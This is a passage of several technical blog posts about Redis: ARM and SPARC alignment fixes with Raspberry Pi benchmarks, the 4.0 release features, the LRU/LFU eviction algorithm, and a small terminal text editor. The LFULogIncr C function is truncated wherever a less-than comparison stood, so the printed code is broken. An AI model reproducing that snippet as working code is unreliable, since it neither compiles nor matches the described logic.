*l; } return 0; } $ gcc foo.c -g -ggdb $ ./a.out Bus error Even if the kernel configuration in my Pi is set to deal with unaligned accesses and fix them, still the program received a SIGBUS! Let’s see where this happens with GDB: $ gdb ./a.out (gdb) run Program received signal SIGBUS, Bus error. 0x00010484 in main (argc=1, argv=0xbefff3b4) at foo.c:10 10 sum += *l; Well it’s in the inner loop when our non aligned double pointer is deferenced, as expected. But we may want to check further what’s happening, checking the ARM instruction that generated the exception: (gdb) x/i $pc => 0x10484 : vldr d6, [r11, #-20] ; 0xffffffec The VLDR instruction is used in order to load an extension register from a memory location, and is used for floating point math. For some reason the Linux kernel implementation of unaligned accesses correction, is not able to handle this instruction (I guess the implementation is just not complete as it should). The “dmesg” command will indeed show that the instruction was not recognized by the function that fixes the unaligned accesses: [317778.925569] Alignment trap: not handling instruction ed937b00 at [] [317778.925610] Unhandled fault: alignment exception (0x011) at 0x01cb8011 So, if the default C compiler in the Pi could emit code that the default Linux kernel could not handle, I really wanted Redis to be able to run without issues even when the kernel is configured for not fixing the unaligned accesses. This means that Redis on ARM should only perform word-sized unaligned accesses, the only ones that the CPU can handle transparently. Fixing the bugs — Given that ARM deals well with most unaligned memory accesses, Redis appeared to be already working on the Pi, mostly. Especially since by default the kernel is configured to fix many of the unaligned accesses that are not supported. Even with the alignment fixing disabled, it still superficially worked. However running the tests revealed different crashes, especially in obvious areas like bit operations and hash functions. The first thing now Redis does is to define USE_ALIGNED_ACCESS when compiled into architectures that don’t support unaligned accesses. Then it was just a matter of fixing the code in order to avoid the fast paths where unaligned accesses where performed, or replacing the pointers deferencing with memcpy() operations. You may think that using memcpy() is ways slower than deferencing a pointer, but things are much better than that: for a fixed size mecpy call like memcpy(src,dst,sizeof(uint64_t)) the compiler is smart enough to avoid calling the function. It will actually generate the fastest set of instructions that will do the trick even if the address is not aligned. For instance, in x86 processors, this function call will actually be translated into a single MOV instruction. After those fixes Redis and my two Raspberries, one original model B, and a much faster Pi 3, started to be great friends: all tests passing, but one about generating call traces in crash reports (but I’m going to fix this one as well), and from time to time a few failures in the integration tests due to the slowness of the Pi to setup masters and slaves setups. However at this point my appetite for correctness was stimulated, I wanted some more alignment problems. Let’s go the extra mile: SPARC — While I was working at fixing Redis for ARM, there was a parallel issue open in the Github repository about making Redis run well on Solaris/SPARC. Now SPARC is not as gentle as ARM, it is not able to deal with *any* unaligned access. I remembered this very well as during my first years of C programming I bought a very old SPARC station 4: big endian and not able to deal with unaligned accesses of any kind at the same time, it gave me some perspective on porting programs around. It’s a shame that after a few months of having it I spilled vodka on it, frying the motherboard forever, but I still have it in my parent’s house. Solaris/SPARC deals with unaligned accesses are more complex than Linux/ARM: 32 bit unaligned accesses are always fixed by the kernel, while 64 bit unaligned accesses are handled by registering an user space trap, according to the compilation flags. The Sun Studio C compiler has specific options to control what happens in a very precise way, and even tools in order to easily detect and fix such unaligned accesses. If non-word sized unaligned accesses were rare in Redis, you could expect word-sized unaligned accesses to be everywhere. But actually it was not the case, since up to Redis 3.0 I used to test and fix Redis with an OpenBSD/SPARC box from time to time. So the biggest problem was the function to hash keys. The original Redis string library, called SDS, had a fixed sized header, so accesses were always aligned while hashing keys. Starting with Redis 3.2 the SDS header is variable in size, so this is no longer the case. Moreover there were other new unaligned accesses here and there accumulated since the last time I tested Redis on SPARC a few years ago. To fix the hash function I also switched to SipHash, so this is also a security fix for HashDoS attacks. However it’s worth to note that I’m currently using a SipHash variant with reduced number of C and D rounds: SipHash1-2. This was made in order to avoid an otherwise non trivial speed regression, however there should not be practical attacks against SipHash1-2 AFAIK, and anyway is for sure more secure than what we previously used, Murmurhash2, that is so weak in that regard that’s possible to generate seed-independent collisions. The SipHash implementation I’m using is the reference one, modified a bit in order to simplify the code and to have a case insensitive variant. It is designed in order to deal with unaligned accesses, and to be endian agnostic. The first time I see a well written reference implementation of an hash function perhaps… The other SPARC fixes were greatly simplified by a kind Redis user that provided me with a Solaris/SPARC access. In the process of fixing the unaligned accesses I also tried to fix building and testing Redis in Solaris/SPARC, so this was a good portability improvement exercise in general. After this task was completed, Redis is finally “alignment safe” at least for the stand alone code. There is more work to do in the Cluster area. Performances of Redis in the Raspberry Pi — Ok, back to the Pi :-) How fast is Redis running on such small hardware? Well, as there are more than one Pi model out there, there are multiple answers for this question. Redis on the Pi 3 is surprisingly fast. My benchmarks are performed via the loopback interface because Redis on the Pi will be mostly intended for local programs to write data to it, or to use it as a message bus for both IPC and for cloud-edge exchange of information (for cloud here I mean the central servers of an appliance, and for edge the local installation of an appliance). However it also runs well when accessed via the ethernet port. On the Pi3, I get this numbers: Test 1 : 5 millions writes with 1 million keys (even distribution among keys). No persistence, no pipelining. 28000 ops/sec. Test 2: Like test 1 but with pipelining using groups of 8 operations: 80000 ops/sec. Test 3: Like test 1 but with AOF enabled, fsync 1 sec: 23000 ops/sec Test 4: Like test 3, but with an AOF rewrite in progress: 21000 ops/sec Basically Redis on the Pi 3 looks fast enough for any use case. Consider that Redis is mostly single threaded, or double-threaded when it rewrites the AOF log, since there is another background process, so you can expect the above performances while, at the same time, other processes are running on the Pi. Bottom line is: the numbers does not mean we are saturating the Pi. With the original model B things are *quite* different, those numbers are much lower, like 2000 ops/sec non pipelined, and 15000 ops/sec when pipelining is used. This huge gap looks to hint at very inefficient handling of syscalls like write and read that require a context switch. However they are still good enough numbers for most applications, since Redis is not going to serve external clients most of the times, and because when there is high-load data logging needed to be performed, pipelining is often simple to implement. However right now I don’t have one of the most interesting (other than the Pi 3) devices to test, which is the Pi zero. It will be interesting to see the numbers that it can deliver. They should be better than the Model B I’m using. Pi continuity — One thing I love about Redis running well on the Pi is that I’m excited about Raspberry to become, with things like the Pi zero, potentially the to-go platform for IoT products. I mean even finished products intended for the final user. I can’t stop thinking what I would like to do in the hardware space if I had time: sensors, displays, the GPIO port, and the very low price make it possible to build an hardware startup in a much simpler way compared to the past, and I love the idea that hackers around the world could now ship smart appliances of different kinds. I want to be somewhat part of this, even if marginally, providing a good Redis experience in the Pi (and in the future with Android and other ARM based systems). Redis has a good combination of low resource needs, append-only operations and data model suitable for both logging and in-device analysis of the data, in order to take actions based on historical events, so I really believe it can help in this space. So starting from now the Raspberry Pi is for me one of the main target platforms for Redis, like the Linux servers originally were set as the Redis “standard”. In the next weeks I’ll continue with the fixes, that will all go into Redis 4.0. At the same time I’ll write a new section in the Redis official site with all the informations about Redis and the Pi: benchmarks in the different devices, good practices, and so forth. Maybe in the future I’ll be also able to release proof of concept “agents” in order to use Redis as a data bus between the IoT devices and the cloud, allowing the device to just log data inside Redis, with the agent taking care of moving the data on the cloud when the link with the outside world works, and at the same time fetching commands for the device to execute and sending back replies. This will be even more interesting when the stream data structure will be available in Redis 4.2. I would love hearing about applications where you see Redis going to help in embedded setups, and what I could do in order to make it better in this regard. Comments

• The first release candidate of Redis 4.0 is out
  Dec 02, 2016

  It’s not yet stable but it’s soon to become, and comes with a long list of things that will make Redis more useful for we users: finally Redis 4.0 Release Candidate 1 is here, and is bold enough to call itself 4.0 instead of 3.4. For me semantic versioning is not a thing, what I like instead is try to communicate, using version numbers and jumps, what’s up with the new version, and in this specific case 4.0 means “this is the shit”. It’s just that Redis 4.0 has a lot of things that Redis should have had since ages, in a different world where one developer can, like Ken The Warrior, duplicate itself in ten copies and start to code. But it does not matter how hard I try to learn about new vim shortcuts, still the duplicate-me thing is not in my chords. But well, finally with 4.0 we got a lot of these stuff done… and here is the list of the big ones, with a few details and pointers to learn more. 1. Modules As you probably already know Redis 4.0 got a modules system, and one that allows to do pretty fancy stuff like implementing new data types that are RDB/AOF persisted, create non blocking commands and so forth. The deal here is that all this is done with an higher level abstract API completely separated from the core, so the modules you write are going to work with new releases of Redis. Using modules I wrote Neural Redis, a neural network data type that can be trained inside Redis itself, and many people are doing very interesting stuff: there are new rate limiting commands (implemented in Rust!), Graph DBs on top of Redis, secondary indexes, time series modules, full text indexing, and a number of other stuff, and my feeling is that’s just the start. This does not just allow Redis to grow and cover new things, while taking the core, if not minimal, just with things that are useful to most users at least, pretty generic things that many people need. But also has the potential to avoid for many tasks the problem of rewriting a networked server, even if the goal is to create something not related to Redis, databases, caching, or whatever Redis is. That is, you can just write a module to use the Redis “infrastructure”: the protocol, the clients people already wrote and so forth. So I’ve a good feeling about it, no pressure for the core, freedom for the users that want to do more crazy stuff. 2. Replication version 2 So, that’s going to be very useful in production from the POV of operations. At some point in the past we introduced what is known as “PSYNC”. It was a new master-slave protocol that allowed the master and the salve to continue from where they were, if the connection between the two broke. Before that, every single connection break in the replication link between master and slave would result into a full synchronization: generate an RDB file in the master, transfer it, load it in the slave, ok you know how this works. So PSYNC was like a real improvement. But not enough… PSYNC was not good enough when there was a failover. If a slave is promoted to master, the slaves that replicated with the old master were not able to connect to the new promoted slave and PSYNC with it: a full resynchronization was needed. This is not great, and is not good for Redis Cluster as well. However fixing this required to do changes to the replication protocol, because I really wanted to make sure that partial resyncs where going to work after any possible topology change, as long as there was a common replication history among the instances. So the first change needed was about how “chained replication” works, that is, slaves of slaves of slaves … How do they work? Like, A is the master, and we have something like that: A —> B —> C —> D So A is the master of B but B is the master of C and so forth. Before Redis 4.0 what was happening is that B received the replication protocol from A. The replication protocol is, normally, a stream of write commands. B acted as a master for C just doing, internally, what A was doing: at every write it was generating again a suitable replication protocol to pass to C, and so forth. Now instead B just proxies, verbatim, what it receives from A to C, and C will do the same for D: given that all the sub slaves now receive an identical stream of bytes, they can “tag” a given history, and use the tag and the offset to always try to continue if they have something in common. The master itself, when it is turned into a slave, is now able to PSYNC with the new master. And slaves can usually PSYNC with the master even after a “clean” restart, using the info inside the RDB file, that now stores the replication tags and offsets. Details are more complex than that, in order to make it working well, but well the deal here is, don’t be annoyed by full resynchronizations if possible. And PSYNC v2 does this well apparently. Please try it and let me know if you are interested in this feature. 3. Cache eviction improvements Ok about that I wrote a full article months ago: http://antirez.com/news/109. So going to give you just the TLDR. We now have LFU (Last Frequently Used), and all the other policies switched to a more robust, fast and precise implementation. So big news for caching use cases. Read the full article if you care about this stuff, there are tons of infos. 4. Non blocking DEL and FLUSHALL/FLUSHDB. Code name “lazy freeing of objects”, but it’s a lame name for a neat feature. There is a new command called UNLINK that just deletes a key reference in the database, and does the actual clean up of the allocations in a separated thread, so if you use UNLINK instead of DEL against a huge key the server will not block. And even better with the ASYNC options of FLUSHALL and FLUSHDB you can do that for whole DBs or for all the data inside the instance, if you want. Combined with the new SWAPDB command, that swaps two Redis databases content, FLUSHDB ASYNC can be quite interesting. Once you, for instance, populated DB 1 with the new version of the data, you can SWAPDB 0 1 and FLUSHDB ASYNC the database with the old data, and create yet a newer version and reiterate. This is only possible now because flushing a whole DB is no longer blocking. There are reasons why UNLINK is not the default for DEL. I know things… I can’t talk (**). 5. Mixed RDB-AOF persistence format. Optionally, if you enable it, now AOF rewrites are performed by prefixing the AOF file with an RDB file, which is both faster to generate and to load. This is going to be very useful in certain environments, but makes the AOF file a less transparent file, so it’s an optional thing for now. This feature was talked for ages and finally is “in”. 6. The new MEMORY command. I love it, as much as I loved LATENCY DOCTOR that once introduced cut the percentage of “My Redis is slow” complains in the mailing list to a minor fraction. Now we have it for the memory issues as well. 127.0.0.1:6379> MEMORY DOCTOR Hi Sam, this instance is empty or is using very little memory, my issues detector can't be used in these conditions. Please, leave for your mission on Earth and fill it with some data. The new Sam and I will be back to our programming as soon as I finished rebooting. Movie rights owners will probably sue me for taking inspirations of sci-fi dialogues but that’s fine. Bring oranges for me when I’ll be in jail. MEMORY does a lot more than that. 127.0.0.1:6379> MEMORY HELP 1) "MEMORY USAGE [SAMPLES ] - Estimate memory usage of key" 2) "MEMORY STATS - Show memory usage details" 3) "MEMORY PURGE - Ask the allocator to release memory" 4) "MEMORY MALLOC-STATS - Show allocator internal stats" The memory usage reporting of the USAGE subcommand is going to be very useful, but also the in depth informations provided by “STATS”. For now all this is totally not documented, so have fun figuring out what the heck it does. 7. Redis Cluster is now NAT / Docker compatible. But this is actually a bad news too, because the binary protocol changed in the “Cluster bus” thing nodes use to communicate, so to upgrade to 4.0 you need a mass reboot of Redis Cluster. I’m sorry I was tricked into this NAT / Docker fixes, pardon me. And I tried to make it backward compatible but there was no way to obtain this easily, or even non easily, without doing totally awkward stuff. The feature is explained in the example redis.conf file. You can’t see how I’m a bit less excited about this feature compared to the other ones, don’t you? Well… that’s it I guess, those are the major things. If you want also read the release notes here: https://raw.githubusercontent.com/antirez/redis/4.0/00-RELEASENOTES ETA to get it stable is as usually unknown: I plan to release a new RC every 2-4 weeks more or less. As bugs slow down significantly both from the point of view of severity and frequency of reporting, it will be Redis 4.0-final time. However there is a lot of doc to update as well, so I’ll have plenty of things to do. Many thanks to all the people that contributed to this release: a lot did in significant ways. In the release note above there is the list of all the commits that you can scan in order to see the names of the committers. Thanks to the Redis community and Redis Labs for making all this possible, but especially thanks to all the developers that use Redis and apply it well in every day problems to get shit done, because this is the whole point, other than having fun while coding. P.s. faster way to grab the new code is to fetch the '4.0' branch from Github. Repository is as usually antirez/redis. ** Check https://news.ycombinator.com/item?id=13091370 for more info about UNLINK not being the default behavior for DEL. Comments

• Random notes on improving the Redis LRU algorithm
  Jul 29, 2016

  Redis is often used for caching, in a setup where a fixed maximum memory to use is specified. When new data arrives, we need to make space by removing old data. The efficiency of Redis as a cache is related to how good decisions it makes about what data to evict: deleting data that is going to be needed soon is a poor strategy, while deleting data that is unlikely to be requested again is a good one. In other terms every cache has an hits/misses ratio, which is, in qualitative terms, just the percentage of read queries that the cache is able to serve. Accesses to the keys of a cache are not distributed evenly among the data set in most workloads. Often a small percentage of keys get a very large percentage of all the accesses. Moreover the access pattern often changes over time, which means that as time passes certain keys that were very requested may no longer be accessed often, and conversely, keys that once were not popular may turn into the most accessed keys. So in general what a cache should try to do is to retain the keys that have the highest probability of being accessed in the future. From the point of view of an eviction policy (the policy used to make space to allow new data to enter) this translates into the contrary: the key with the least probability of being accessed in the future should be removed from the data set. There is only one problem: Redis and other caches are not able to predict the future. The LRU algorithm === While caches can’t predict the future, they can reason in the following way: keys that are likely to be requested again are keys that were recently requested often. Since usually access patterns don’t change very suddenly, this is an effective strategy. However the notion of “recently requested often” is more insidious that it may look at a first glance (we’ll return shortly on this). So this concept is simplified into an algorithm that is called LRU, which instead just tracks the *last time* a key was requested. Keys that are accessed with an higher frequency have a greater probability of being idle (not accessed) for a shorter time compared to keys that are rarely accessed. For instance this is a representation of four different keys accesses over time. Each “~” character is one second, while the “|” line at the end is the current instant. ~~~~~A~~~~~A~~~~~A~~~~A~~~~~A~~~~~A~~| ~~B~~B~~B~~B~~B~~B~~B~~B~~B~~B~~B~~B~| ~~~~~~~~~~C~~~~~~~~~C~~~~~~~~~C~~~~~~| ~~~~~D~~~~~~~~~~D~~~~~~~~~D~~~~~~~~~D| Key A is accessed one time every 5 seconds, key B once every 2 seconds and key C and D are both accessed every 10 seconds. Given the high frequency of accesses of key B, it has among the lowest idle times, which means its last access time is the second most recent among all the four keys. Similarly A and C idle time of 2 and 6 seconds well reflect the access frequency of both those keys. However as you can see this trick does not always work: key D is accessed every 10 seconds, however it has the most recent access time of all the keys. Still, in the long run, this algorithm works well enough. Usually keys with a greater access frequency have a smaller idle time. The LRU algorithm evicts the Least Recently Used key, which means the one with the greatest idle time. It is simple to implement because all we need to do is to track the last time a given key was accessed, or sometimes this is not even needed: we may just have all the objects we want to evict linked in a linked list. When an object is accessed we move it to the top of the list. When we want to evict objects, we evict from the tail of the list. Tada! Win. LRU in Redis: the genesis === Initially Redis had no support for LRU eviction. It was added later, when memory efficiency was a big concern. By modifying a bit the Redis Object structure I was able to make 24 bits of space. There was no room for linking the objects in a linked list (fat pointers!), moreover the implementation needed to be efficient, since the server performance should not drop too much because of the selection of the key to evict. The 24 bits in the object are enough to store the least significant bits of the current unix time in seconds. This representation, called “LRU clock” inside the source code of Redis, takes 194 days to overflow. Keys metadata are updated much often, so this was good enough. However there was another more complex problem to solve, how to select the key with the greatest idle time in order to evict it? The Redis key space is represented via a flat hash table. To add another data structure to take this metadata was not an option, however since LRU is itself an approximation of what we want to achieve, what about approximating LRU itself? The initial Redis algorithm was as simple as that: when there is to evict a key, select 3 random keys, and evict the one with the highest idle time. Basically we do random sampling over the key space and evict the key that happens to be the better. Later this “3 random keys” was turned into a configurable “N random keys” and the algorithm speed was improved so that the default was raised to 5 keys sampling without losing performances. Considering how naive it was, it worked well, very well actually. If you think at it, you always never do the best decision with this algorithm, but is very unlikely to do a very bad decision too. If there is a subset of very frequently accessed keys in the data set, out of 5 keys it is hard to be so unlucky to only sample keys with a very short idle time. However if you think at this algorithm *across* its executions, you can see how we are trashing a lot of interesting data. Maybe when sampling the N keys, we encounter a lot of good candidates, but we then just evict the best, and start from scratch again the next cycle. First rule of Fight Club is: observe your algorithms with naked eyes === At some point I was in the middle of working at the upcoming Redis 3.0 release. Redis 2.8 was actively used as an LRU cache in multiple environments, and people didn’t complained too much about the precision of the eviction in Redis, but it was clear that it could be improved even without using a noticeable amount of additional CPU time, and not a single bit of additional space. However in order to improve something, you have to look at it. There are different ways to look at LRU algorithms. You can write, for example, tools that simulate different workloads, and check the hit/miss ratio at the end. This is what I did, however the hit/miss ratio depends a lot on the access pattern, so additionally to this information I wrote an utility that actually displayed the algorithm quality in a visual way. The program was very simple: it added a given number of keys, then accessed the keys sequentially so that each had a decreasing idle time. Finally 50% more keys were added (the green ones in the picture), so that half of the old keys needed to be evicted. In a perfect LRU implementation no key from the new added keys are evicted, and the initial 50% of the old dataset is evicted. This is the representation produced by the program for different versions of Redis and different settings: http://redis.io/images/redisdoc/lru_comparison.png When looking at the graph remember that the implementation we discussed so far is the one of Redis 2.8. The improvement you see in Redis 3.0 is explained in the next section. LRU V2: don’t trash away important information === With the new visual tool, I was able to try new approaches and test them in a matter of minutes. The most obvious way to improve the vanilla algorithm used by Redis was to accumulate the otherwise trashed information in a “pool” of good candidates for eviction. Basically when the N keys sampling was performed, it was used to populate a larger pool of keys (just 16 keys by default). This pool has the keys sorted by idle time, so new keys only enter the pool when they have an idle time greater than one key in the pool or when there is empty space in the pool. This small change improved the performances of the algorithm dramatically as you can see in the image I linked above and the implementation was not so complex. A couple memmove() here and there and a few profiling efforts, but I don’t remember major bugs in this area. At the same time, a new redis-cli mode to test the LRU precision was added (see the —lru-test option), so I had another way to check the performances of the LRU code with a power-law access pattern. This tool was used to validate with a different test that the new algorithm worked better with a more real-world-ish workload. It also uses pipelining and displays the accesses per second, so can be used in order to benchmark different implementations, at least to check obvious speed regressions. Least Frequently Used === The reason I’m writing this blog post right now is because a couple of days ago I worked at a partial reimplementation and to different improvements to the Redis cache eviction code. Everything started from an open issue: when you have multiple databases with Redis 3.2, the algorithm evicts making local choices. So if for example you have all keys with a small idle time in DB number 0, and all keys with large idle time in DB number 1, Redis will evict one key from each DB. A more rational choice is of course to start evicting keys from DB number 1, and only later to evict the other keys. This is usually not a big deal, when Redis is used as a cache it is rarely used with different DBs, however this is how I started to work at the eviction code again. Eventually I was able to modify the pool to include the database ID, and to use a single pool for all the DBs instead of using multiple pools. It was slower, but by profiling and tuning the code, eventually it was faster than the original implementation by around 20%. However my curiosity for this subsystem of Redis was stimulated again at that point, and I wanted to improve it. I spent a couple of days trying to improve the LRU implementation: use a bigger pool maybe? Account for the time that passes when selecting the best key? After some time, and after refining my tools, I understood that the LRU algorithm was limited by the amount of data sampled in the database and was otherwise very good and hard to improve. This is, actually, kinda evident from the image showing the different algorithms: sampling 10 keys per cycle the algorithm was almost as accurate as theoretical LRU. Since the original algorithm was hard to improve, I started to test new algorithms. If we rewind a bit to the start of the blog post, we said that LRU is actually kinda a trick. What we really want is to retain keys that have the maximum probability of being accessed in the future, that are the keys *most frequently accessed*, not the ones with the latest access. The algorithm evicting the keys with the least number of accesses is called LFU. It means Least Frequently Used, which is the feature of the keys that it attempts to kill to make space for new keys. In theory LFU is as simple as associating a counter to each key. At every access the counter gets incremented, so that we know that a given key is accessed more frequently than another key. Well, there are at least a few more problems, not specific to Redis, general issues of LFU implementations: 1. With LFU you cannot use the “move to head” linked list trick used for LRU in order to take elements sorted for eviction in a simple way, since keys must be ordered by number of accesses in “perfect LFU”. Moving the accessed key to the right place can be problematic because there could be many keys with the same score, so the operation can be O(N) in the worst case, even if the key frequency counter changed just a little. Also as we’ll see in point “2” the accesses counter does not always change just a little, there are also sudden large changes. 2. LFU can’t really be as trivial as, just increment the access counter on each access. As we said, access patterns change over time, so a key with an high score needs to see its score reduced over time if nobody keeps accessing it. Our algorithm must be albe to adapt over time. In Redis the first problems is not a problem: we can just use the trick used for LRU: random sampling with the pool of candidates. The second problem remains. So normally LFU implementations have some way in order to decrement, or halve the access counter from time to time. Implementing LFU in 24 bits of space === LFU has its implementation peculiarities itself, however in Redis all we can use is our 24 bit LRU field in order to model LFU. To implement LFU in just 24 bits per objects is a bit more tricky. What we need to do in 24 bits is: 1. Some kind of access frequency counter. 2. Enough information to decide when to halve the counter. My solution was to split the 24 bits into two fields: 16 bits 8 bits +----------------+--------+ + Last decr time | LOG_C | +----------------+--------+ The 16 bit field is the last decrement time, so that Redis knows the last time the counter was decremented, while the 8 bit field is the actual access counter. You are thinking that it’s pretty fast to overflow an 8 bit counter, right? Well, the trick is, instead of using just a counter, I used a logarithmic counter. This is the function that increments the counter during accesses to the keys: uint8_t LFULogIncr(uint8_t counter) { if (counter == 255) return 255; double r = (double)rand()/RAND_MAX; double baseval = counter - LFU_INIT_VAL; if (baseval double p = 1.0/(baseval*server.lfu_log_factor+1); if (r return counter; } Basically the greater is the value of the counter, the less probable is that the counter will really be incremented: the code above computes a number ‘p’ between 0 and 1 which is smaller and smaller as the counter increases. Then it extracts a random number ‘r’ between 0 and 1 and only increments the counter if ‘r You can configure how much aggressively the counter is implemented via redis.conf parameters, but for instance, with the default settings, this is what happens: After 100 hits the value of the counter is 10 After 1000 is 18 After 100k is 142 After 1 million hits it reaches the 255 limit and no longer increments Now let’s see how this counter is decremented. The 16 bits are used in order to store the less significant bits of the UNIX time converted to minutes. As Redis performs random sampling scanning the key space in search of keys to populate the pool, all keys that are encountered are checked for decrement. If the last decrement was performed more than N minutes ago (with N configurable), the value of the counter is halved if it is an high value, or just decremented if it is a lower value (in the hope that we can better discriminate among keys with few accesses, given that our counter resolution is very small). There is yet another problem, new keys need a chance to survive after all. In vanilla LFU a just added key has an access score of 0, so it is a very good candidate for eviction. In Redis new keys start with an LFU value of 5. This initial value is accounted in the increment and halving algorithms. Simulations show that with this change keys have some time in order to accumulate accesses: keys with a score less than 5 will be preferred (non active keys for a long time). Code and performances === The implementation described above can be found in the “unstable” branch of Redis. My initial tests show that it outperforms LRU in power-law access patterns, while using the same amount of memory per key, however real world access patterns may be different: time and space locality of accesses may change in very different ways, so I’ll be very happy to learn from real world use cases how LFU is performing, and how the two parameters that you can tune in the Redis LFU implementation change the performances for different workloads. Also an OBJECT FREQ subcommand was added in order to report the frequency counter for a given key, this can be both useful in order to observe an application access pattern, and in order to debug the LFU implementation. Note that switching at runtime between LRU and LFU policies will have the effect to start with almost random eviction, since the metadata accumulated in the 24 bits counter does not match the meaning of the newly selected policy. However over time it adapts again. There are probably many improvements possible. Ben Manes pointed me to this interesting paper, describing an algorithm called TinyLRU (http://arxiv.org/pdf/1512.00727.pdf). The paper contains a very neat idea: instead of remembering the access frequency of the current objects, let’s (probabilistically) remember the access frequency of all the objects seen so far, this way we can even refuse new keys if, from the name, we believe they are likely to get little accesses, so that no eviction is needed at all, if evicting a key means to lower the hits/misses ratio. My feeling is that this technique, while very interesting for plain GET/SET LFU caches, is not applicable to the data structure server nature of Redis: users expect the key to exist after being created at least for a few milliseconds. Refusing the key creation at all seems semantically wrong for Redis. However Redis maintains LFU informations when a key is overwritten, so for example after a: SET oldkey some_new_value The 24 bit LFU counter is copied to the new object associated to the old key. The new eviction code of Redis unstable contains other good news: 1. Policies are now “cross DB”. In the past Redis made local choices as explained at the start of this blog post. Now this is fixed for all the policies, not just LRU. 2. The volatile-ttl eviction policy, which is the one that evicts based on the remaining time to live of keys with an expire set, now uses the pool like the other policies. 3. Performances are better by reusing SDS objects in the pool of keys. This post ended a lot longer than I expected it to be, but I hope it offered a few insights on the new stuff and the improvements to the old things we already had. Redis, more than a “solution” to solve a specific problem, is a generic tool. It’s up to the sensible developer to apply it in the right way. Many people use Redis as a caching solution, so improvements in this area are always investigated from time to time. Hacker News comments: https://news.ycombinator.com/item?id=12185534 Comments

• Writing an editor in less than 1000 lines of code, just for fun
  Jul 10, 2016

  WARNING: Long pretty useless blog post. TLDR is that I wrote, just for fun, a text editor in less than 1000 lines of code that does not depend on ncurses and has support for syntax highlight and search feature. The code is here: http://github.com/antirez/kilo. Screencast here: https://asciinema.org/a/90r2i9bq8po03nazhqtsifksb For the sentimentalists, keep reading… A couple weeks ago there was this news about the Nano editor no longer being part of the GNU project. My first reaction was, wow people still really care about an old editor which is a clone of an editor originally part of a terminal based EMAIL CLIENT. Let’s say this again, “email client”. The notion of email client itself is gone at this point, everything changed. And yet I read, on Hacker News, a number of people writing how they were often saved by the availability of nano on random systems, doing system administrator tasks, for example. Nano is also how my son wrote his first program in C. It’s an acceptable experience that does not require past experience editing files. This is how I started to think about writing a text editor ways smaller than Nano itself. Just for fun, basically, because I like and admire small programs. How lame, useless, wasting of time is today writing an editor? We are supposed to write shiny incredible projects, very cool, very complex, valuable stuff. But sometimes to make things without a clear purpose is refreshing. There were also memories… I remember my first experiences with the Commodore 16 in-ROM assembler, and all the home computers and BASIC interpreters I used later in my child life. An editor is a fundamental connection between the human and the machine. It allows the human to write something that the computer can interpret. The blinking of a square prompt is something that many of us will never forget. Well, all nice, but my time was very limited. A few hours across two weekends with programmed family activities and meat to prepare for friends in long barbecue sessions. Maybe I could still write an editor on a few spare hours with some trick. My goal was to write an editor which was very small, no curses, and with syntax highlighting. Something usable, basically. That’s the deal.. It’s little stuff, but is already hard to write all this from scratch in a few hours. But … wait, I actually wrote an editor in the past, is part of the LOAD81 project, a Lua based programming environment for children. Maybe I can just reuse it… and instead of using SDL to write on the screen what about sending VT100 escape sequences directly to the terminal? And I’ve code for this as well in linenoise, another toy project that eventually found its place in some may other serious projects. So maybe mixing the two… The first week Saturday morning I went to the sea, and it was great. Later my brother arrived from Edinburg to Catania, and at the end of the day we were together in the garden with our laptops, trying to defend ourselves from the 30 degrees that there were during the day, so I started to hack the first skeleton of the editor. The LOAD81 code was quite modular, to take it away from the original project was a joke. I could kinda edit after a few hours, and it was already time to go bed. The next day I worked again at it before leaving for the sea again. My 15yo sleeps till 1pm, as I did when I was 15yo in summertime after all, so I coded more in sprints of 30 minutes waiting for him to get up, using the rest of the time to play with my wonderful daughter. Finally later in the Sunday night I tried to fix all the remaining stuff. Hey I remember that a few years ago to hack on a project was, to *hack* on it, full time for days. I’m old now, but still young enough to write toy editors and consider it a serious business :-) However life is hard, and Monday arrived. Real business, no time for toy projects, not even time to release what I got during the weekend… It deserved some minimal polishing and a blog post. I had to wait this Monday to put my hands on the “Kilo” editor again. It’s called Kilo because it has less than 1024 lines of code. The “cloc” utility, used in order to count the number of lines of code, signaled me I still had ~100 lines of space before reaching 1024 LOC, and a serious editor needs a “search” feature after all. So back to the code, trying also to restructure and recomment it a bit, since you know, when you mix two projects pieces in a few hours the risk is that the code quality is less than excellent. Well, now it’s time to release it, end of this crazy project. Maybe somebody will use it as a starting point to write a real editor, or maybe it could be used to write some new interesting CLI that goes over the usual REPL style model. The code is at http://github.com/antirez/kilo HN comments: https://news.ycombinator.com/item?id=12065217 Comments

• Programmers are not different, they need simple UIs.
  May 24, 2016

  I’m spending days trying to get a couple of APIs right. New APIs about modules, and a new Redis data type. I really mean it when I say *days*, just for the API. Writing drafts, starting the implementation shaping data structures and calls, and then restarting from scratch to iterate again in a better way, to improve the design and the user facing part. Why I do that, delaying features for weeks? Is it really so important? Programmers are engineers, maybe they should just adapt to whatever API is better to export for the system exporting it. Should I really reply to my rhetorical questions? No, it is no longer needed today, and that’s a big win. I want to assume that at this point is tacit, given for granted, that programmers also have user interfaces, and that such user interfaces are so crucial to completely change the perception of a system. Database query languages, libraries calls, programming languages, Unix command line tools, they all have an User Interface part. If you use them daily, for you they are more UIs than anything else. So if this is all well known why I’m here writing this blog post? Because I want to stress how important is the concept of simplicity, not just in graphical UIs, but also in UIs designed for programmers. The act of iterating again and again to find a simple UI solution is not a form of perfectionism, it’s not futile narcissism. It is more an exploration in the design space, that sometimes is huge, made of small variations that make a big difference, and made of big variations that completely change the point of view. There are no rules to follow but your sensibility. Yes there are good practices, but they are not a good compass when the sea to navigate is the one of the design *space*. So why programmers should have this privilege of having good, simple UIs? Sure there is the joy of using something well made, that is great to handle, that feels *right*. But there is a more central question. Learning to configure Sendmail via M4 macros, or struggling with an Apache virtual host setup is not real knowledge. If such a system one day is no longer in use, what remains in your hands, or better, in your neurons? Nothing. This is ad-hoc knowledge. It is like junk food: empty calories without micronutrients. For programmers, the micronutrients are the ideas that last for decades, not the ad-hoc junk. I don’t want to ship junk, so I’ll continue to refine my designs before shipping. You should not accept junk, your neurons are better spent to learn general concepts. However in part it is inevitable: every system will have something that is not general that we need to learn in order to use it. Well, if that’s the deal, at least, let’s make the ad-hoc part a simple one, and if possible, something that is even fun to use. Comments

• Redis Loadable Modules System
  May 10, 2016

